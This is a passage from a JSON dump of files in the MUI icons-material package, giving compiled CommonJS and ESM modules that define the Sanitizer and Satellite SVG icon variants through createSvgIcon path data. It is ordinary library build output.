    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 6.5c0-.56.67-1.49 1.11-2.04.2-.25.58-.25.77 0 .44.55 1.11 1.48 1.11 2.04.01.83-.66 1.5-1.49 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.25-1.41-3.16-2.11-4.04a.489.489 0 0 0-.77 0c-.71.88-2.12 2.79-2.12 4.04 0 1.38 1.12 2.5 2.5 2.5M12 14h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1H8c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1m4-2v8c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-8c0-2.97 2.16-5.43 5-5.91V4H8c-.55 0-1-.45-1-1s.45-1 1-1h5c.61 0 1.19.11 1.72.31.67.25.83 1.13.33 1.64-.28.28-.69.36-1.05.23-.32-.12-.65-.18-1-.18h-2v2.09c2.84.48 5 2.94 5 5.91\"\n}), 'SanitizerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v10H4V12c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91\"\n}), 'SanitizerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v10H4V12c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91\"\n}), 'SanitizerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8c-2.21 0-4 1.79-4 4v8h8v-8c0-2.21-1.79-4-4-4m3 8h-2v2H9v-2H7v-2h2v-2h2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v8c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-8c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91m-2 0c0-2.21-1.79-4-4-4s-4 1.79-4 4v8h8z\"\n}, \"1\")], 'SanitizerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8c-2.21 0-4 1.79-4 4v8h8v-8c0-2.21-1.79-4-4-4m3 8h-2v2H9v-2H7v-2h2v-2h2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v8c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-8c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91m-2 0c0-2.21-1.79-4-4-4s-4 1.79-4 4v8h8z\"\n}, \"1\")], 'SanitizerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Satellite.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 4.99h3C8 6.65 6.66 8 5 8zM5 12v-2c2.76 0 5-2.25 5-5.01h2C12 8.86 8.87 12 5 12m0 6 3.5-4.5 2.5 3.01L14.5 12l4.5 6z\"\n}), 'Satellite');"
  },
  {
    "path": "packages/mui-icons-material/lib/Satellite.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 4.99h3C8 6.65 6.66 8 5 8zM5 12v-2c2.76 0 5-2.25 5-5.01h2C12 8.86 8.87 12 5 12m0 6 3.5-4.5 2.5 3.01L14.5 12l4.5 6z\"\n}), 'Satellite');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.44.59-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.24-1.25c-.78-.78-2.05-.78-2.83 0L7.3 8.72c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l1.41-1.41c.78-.78.78-2.05 0-2.83L13.84 9.6l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L18.26.58c-.78-.78-2.04-.78-2.82.01M6.6 19.32l-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm9.54-9.54L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2zM14 21v2c4.97 0 9-4.03 9-9h-2c0 3.87-3.13 7-7 7m0-4v2c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3\"\n}), 'SatelliteAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.44.59-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.24-1.25c-.78-.78-2.05-.78-2.83 0L7.3 8.72c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l1.41-1.41c.78-.78.78-2.05 0-2.83L13.84 9.6l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L18.26.58c-.78-.78-2.04-.78-2.82.01M6.6 19.32l-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm9.54-9.54L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2zM14 21v2c4.97 0 9-4.03 9-9h-2c0 3.87-3.13 7-7 7m0-4v2c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3\"\n}), 'SatelliteAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7m-7 3v2c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3M18.26.59l3.54 3.54c.78.78.78 2.05 0 2.83l-3.18 3.18c-.78.78-2.05.78-2.83 0L14.55 8.9l-.71.7 1.24 1.24c.78.78.78 2.05 0 2.83l-1.41 1.41c-.78.78-2.05.78-2.83 0L9.6 13.84l-.71.71 1.24 1.24c.78.78.78 2.05 0 2.83L6.95 21.8c-.78.78-2.05.78-2.83 0L.58 18.26c-.78-.78-.78-2.05 0-2.83l3.18-3.18c.78-.78 2.05-.78 2.83 0l1.24 1.24.71-.71-1.24-1.23c-.78-.78-.78-2.05 0-2.83L8.72 7.3c.78-.78 2.05-.78 2.83 0l1.24 1.24.71-.71-1.25-1.23c-.78-.78-.78-2.05 0-2.83L15.43.59c.79-.79 2.05-.79 2.83 0m-15.2 15.2L2 16.85l3.54 3.54 1.06-1.06zm2.12-2.12-1.06 1.06 3.54 3.54 1.06-1.06zm4.95-4.95-1.41 1.41 3.54 3.54 1.41-1.41zm4.6-4.6-1.06 1.06 3.54 3.54 1.06-1.06zM16.85 2l-1.06 1.06 3.54 3.54 1.06-1.06z\"\n}), 'SatelliteAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7m-7 3v2c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3M18.26.59l3.54 3.54c.78.78.78 2.05 0 2.83l-3.18 3.18c-.78.78-2.05.78-2.83 0L14.55 8.9l-.71.7 1.24 1.24c.78.78.78 2.05 0 2.83l-1.41 1.41c-.78.78-2.05.78-2.83 0L9.6 13.84l-.71.71 1.24 1.24c.78.78.78 2.05 0 2.83L6.95 21.8c-.78.78-2.05.78-2.83 0L.58 18.26c-.78-.78-.78-2.05 0-2.83l3.18-3.18c.78-.78 2.05-.78 2.83 0l1.24 1.24.71-.71-1.24-1.23c-.78-.78-.78-2.05 0-2.83L8.72 7.3c.78-.78 2.05-.78 2.83 0l1.24 1.24.71-.71-1.25-1.23c-.78-.78-.78-2.05 0-2.83L15.43.59c.79-.79 2.05-.79 2.83 0m-15.2 15.2L2 16.85l3.54 3.54 1.06-1.06zm2.12-2.12-1.06 1.06 3.54 3.54 1.06-1.06zm4.95-4.95-1.41 1.41 3.54 3.54 1.41-1.41zm4.6-4.6-1.06 1.06 3.54 3.54 1.06-1.06zM16.85 2l-1.06 1.06 3.54 3.54 1.06-1.06z\"\n}), 'SatelliteAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.95 14.88a6.985 6.985 0 0 1-6.07 6.07c-.51.06-.88.49-.88.99 0 .04 0 .08.01.12.07.55.57.94 1.12.87 4.09-.51 7.3-3.72 7.81-7.81.06-.55-.33-1.05-.88-1.11-.55-.07-1.05.32-1.11.87m-2.11.38c.14-.53-.18-1.08-.72-1.22s-1.08.18-1.22.72c-.27 1.05-1.09 1.87-2.15 2.15-.45.12-.75.52-.75.97 0 .08.01.17.03.25.14.53.69.85 1.22.72 1.77-.47 3.14-1.84 3.59-3.59M21.8 4.12 18.26.58c-.78-.78-2.05-.78-2.83 0l-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.24c-.78-.78-2.05-.78-2.83 0L7.3 8.72c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l1.41-1.41c.78-.78.78-2.05 0-2.83L13.84 9.6l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83M5.54 20.38 2 16.85l1.06-1.06 3.54 3.54zm2.12-2.12-3.54-3.54 1.06-1.06 3.54 3.54zm9.54-9.54-3.54-3.54 1.06-1.06 3.54 3.54zm2.12-2.12-3.54-3.54L16.85 2l3.54 3.54z\"\n}), 'SatelliteAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.95 14.88a6.985 6.985 0 0 1-6.07 6.07c-.51.06-.88.49-.88.99 0 .04 0 .08.01.12.07.55.57.94 1.12.87 4.09-.51 7.3-3.72 7.81-7.81.06-.55-.33-1.05-.88-1.11-.55-.07-1.05.32-1.11.87m-2.11.38c.14-.53-.18-1.08-.72-1.22s-1.08.18-1.22.72c-.27 1.05-1.09 1.87-2.15 2.15-.45.12-.75.52-.75.97 0 .08.01.17.03.25.14.53.69.85 1.22.72 1.77-.47 3.14-1.84 3.59-3.59M21.8 4.12 18.26.58c-.78-.78-2.05-.78-2.83 0l-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.24c-.78-.78-2.05-.78-2.83 0L7.3 8.72c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l1.41-1.41c.78-.78.78-2.05 0-2.83L13.84 9.6l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83M5.54 20.38 2 16.85l1.06-1.06 3.54 3.54zm2.12-2.12-3.54-3.54 1.06-1.06 3.54 3.54zm9.54-9.54-3.54-3.54 1.06-1.06 3.54 3.54zm2.12-2.12-3.54-3.54L16.85 2l3.54 3.54z\"\n}), 'SatelliteAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.44.59-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-2.65-2.65-4.24 4.24 2.65 2.65-.71.71-1.24-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 2.65 2.65 4.24-4.24-2.66-2.65.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L18.26.58c-.78-.78-2.04-.78-2.82.01M6.6 19.32l-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm9.54-9.54L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2zM21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7m-4 0h2c0 2.76-2.24 5-5 5v-2c1.66 0 3-1.34 3-3\"\n}), 'SatelliteAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.44.59-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-2.65-2.65-4.24 4.24 2.65 2.65-.71.71-1.24-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 2.65 2.65 4.24-4.24-2.66-2.65.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L18.26.58c-.78-.78-2.04-.78-2.82.01M6.6 19.32l-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm9.54-9.54L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2zM21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7m-4 0h2c0 2.76-2.24 5-5 5v-2c1.66 0 3-1.34 3-3\"\n}), 'SatelliteAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.6 19.32-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm4.95-4.95-1.41 1.41-3.54-3.54 1.41-1.41zm4.59-4.59L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.44.59-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.24-1.25c-.78-.78-2.05-.78-2.83 0L7.3 8.72c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l1.41-1.41c.78-.78.78-2.05 0-2.83L13.84 9.6l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L18.26.58c-.78-.78-2.04-.78-2.82.01M6.6 19.32l-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm4.95-4.95-1.41 1.41-3.54-3.54 1.41-1.41zm4.59-4.59L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2zM21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7m-4 0h2c0 2.76-2.24 5-5 5v-2c1.66 0 3-1.34 3-3\"\n}, \"1\")], 'SatelliteAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.6 19.32-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm4.95-4.95-1.41 1.41-3.54-3.54 1.41-1.41zm4.59-4.59L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.44.59-3.18 3.18c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.24-1.25c-.78-.78-2.05-.78-2.83 0L7.3 8.72c-.78.78-.78 2.05 0 2.83l1.24 1.24-.71.71-1.23-1.25c-.78-.78-2.05-.78-2.83 0L.59 15.43c-.78.78-.78 2.05 0 2.83l3.54 3.54c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L8.9 14.55l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l1.41-1.41c.78-.78.78-2.05 0-2.83L13.84 9.6l.71-.71 1.24 1.24c.78.78 2.05.78 2.83 0l3.18-3.18c.78-.78.78-2.05 0-2.83L18.26.58c-.78-.78-2.04-.78-2.82.01M6.6 19.32l-1.06 1.06L2 16.85l1.06-1.06zm2.12-2.12-1.06 1.06-3.54-3.54 1.06-1.06zm4.95-4.95-1.41 1.41-3.54-3.54 1.41-1.41zm4.59-4.59L17.2 8.72l-3.54-3.54 1.06-1.06zm2.12-2.12L19.32 6.6l-3.54-3.54L16.85 2zM21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7m-4 0h2c0 2.76-2.24 5-5 5v-2c1.66 0 3-1.34 3-3\"\n}, \"1\")], 'SatelliteAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM8.57 6H6v2.58c1.42 0 2.57-1.16 2.57-2.58M12 6h-1.71c0 2.36-1.92 4.29-4.29 4.29V12c3.32 0 6-2.69 6-6m2.14 5.86-3 3.87L9 13.15 6 17h12z\"\n}), 'SatelliteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM8.57 6H6v2.58c1.42 0 2.57-1.16 2.57-2.58M12 6h-1.71c0 2.36-1.92 4.29-4.29 4.29V12c3.32 0 6-2.69 6-6m2.14 5.86-3 3.87L9 13.15 6 17h12z\"\n}), 'SatelliteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 5h3c0 1.66-1.34 3-3 3zm0 5.91c0-.49.36-.9.85-.98 2.08-.36 3.72-2 4.08-4.08.08-.49.49-.85.98-.85.61 0 1.09.53 1 1.13-.48 2.96-2.81 5.3-5.77 5.78-.6.1-1.14-.39-1.14-1m.63 6.28 2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.41-.01-.65-.49-.39-.82\"\n}), 'SatelliteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteRounded.mjs",
